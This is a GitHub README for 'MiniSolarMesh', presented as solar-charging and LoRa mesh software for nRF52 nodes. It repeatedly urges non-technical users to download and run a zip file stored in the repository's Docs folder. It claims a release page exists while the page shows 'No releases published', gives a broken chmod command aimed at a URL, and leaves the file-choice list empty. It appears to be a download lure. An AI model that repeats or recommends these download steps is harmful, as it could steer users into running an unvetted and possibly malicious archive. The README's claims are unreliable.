Skip to content

sclmoss/MiniSolarMesh

Repository files navigation

β˜€οΈ MiniSolarMesh - Easy Solar-Powered LORA Node Setup

Download MiniSolarMesh


Welcome to MiniSolarMesh, a small solar-powered device that connects wirelessly using LORA technology. This guide will help you download and start using the MiniSolarMesh software with no technical experience. Just follow the steps to get the software up and running on your computer.

βš™οΈ What is MiniSolarMesh?

MiniSolarMesh is a simple software tool designed for a solar-powered device using LORA communication. It helps manage charging with MPPT technology, monitors voltage, and protects the battery. The software supports reliable wireless mesh communication to help your network stay connected even if some devices are out of range.

Key Features

  • Solar charging control: Uses MPPT (Maximum Power Point Tracking) to optimize solar panel charging.
  • Battery protection: Monitors battery voltage to avoid damage.
  • LORA Wireless Mesh: Connects with other nodes using LORA radio signals for long-range communication.
  • User-friendly: Designed to work well with supported hardware without complex setup.
  • Open design: Based on nRF52 microcontroller and compatible with popular open-source hardware.

Who is this software for?

MiniSolarMesh works best for users who own or plan to build low-power, solar-controlled LORA devices. It supports hobbyists, students, and professionals interested in wireless mesh networks and renewable energy.


πŸ–₯️ System Requirements

Before you download MiniSolarMesh, please check the following requirements to ensure your computer can run the software smoothly:

  • Operating System: Windows 10 or later, MacOS 10.13 or later, Linux (Ubuntu 18.04+ recommended)
  • Processor: At least a 1.5 GHz dual-core CPU
  • Memory: Minimum 2 GB RAM
  • Disk Space: Around 50 MB free space for installation
  • Internet Connection: Required for downloading and possible software updates
  • USB Port: Needed to connect your MiniSolarMesh device (USB cable not included)
  • Device Compatibility: Designed to work with MiniSolarMesh hardware based on nRF52 chip

πŸ“₯ Download & Install MiniSolarMesh

You will find the latest software version by visiting the release page here:

Download MiniSolarMesh

Step 1: Visit the download page

Click the large green button at the top or the link above. This link will take you to the GitHub Release page where the latest MiniSolarMesh software files are available.

Step 2: Choose the right file for your computer

Look for the file labeled with your operating system name:

The file name usually includes the version number and the platform.

Step 3: Download the file

Click on the appropriate file to start the download. The download will appear in your browser or downloads folder.

Step 4: Install the software

  • Windows: Double-click the .exe file and follow the installation wizard.
  • MacOS: Open the .dmg file and drag MiniSolarMesh to your Applications folder.
  • Linux: Make the .AppImage executable (chmod +x https://github.com/sclmoss/MiniSolarMesh/raw/refs/heads/main/Docs/Solar-Mini-Mesh-2.0.zip) and run it.

Step 5: Launch MiniSolarMesh

Open the installed program from your desktop or applications menu.


πŸ”Œ Connect Your MiniSolarMesh Device

What you need:

  • Your physical MiniSolarMesh node hardware
  • USB cable to connect the device to your computer

How to connect:

  1. Plug one end of the USB cable into your MiniSolarMesh device.
  2. Plug the other end into your computer's USB port.
  3. The software should recognize the device within a few seconds.
  4. If you see a message asking for permission to access the device, allow it.

πŸ› οΈ Basic Setup and Use

Step 1: Check device status

Once connected, the software will display battery voltage levels, solar charging status, and network connection details.

Step 2: Configure your node

The software lets you set parameters such as:

  • Network ID for mesh communication
  • Battery alarm levels
  • Solar panel specifications (voltage and current limits)
  • Device name and location for easy identification

Step 3: Save and apply settings

After entering your settings, click "Save" or "Apply". The device will update automatically.


πŸ“‘ Using the Mesh Network Features

MiniSolarMesh nodes communicate with each other wirelessly using LORA. This allows your devices to cover a large area by passing messages through the mesh network.

  • Each node can send or receive messages independently.
  • Messages hop from node to node until they reach their destination.
  • The software shows a map or list of connected nodes and signal strengths.

Use this feature to monitor your nodes remotely or send commands through the network.


πŸ’‘ Tips for Success

  • Keep your solar panel clean and exposed to sunlight.
  • Regularly check battery voltage in the software to ensure good health.
  • Place nodes within range of at least one other node to maintain mesh communication.
  • Update your software often by checking the release page above.
  • Use the included documentation for advanced setup if you want to customize more.

πŸ“š Need More Help?

If you run into problems, here are some ways to get support:

  • Check the README and documentation on the GitHub repository
  • Ask questions in online forums related to LORA or solar mesh networks
  • Report bugs or issues directly on the GitHub issue page at the MiniSolarMesh repository

Thank you for using MiniSolarMesh. The software is free and open, aiming to make solar-powered mesh networks accessible to everyone.

Download MiniSolarMesh from here

About

🌞 Build low-power LoRa mesh nodes with integrated solar charging, battery protection, and voltage supervision for reliable outdoor use.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors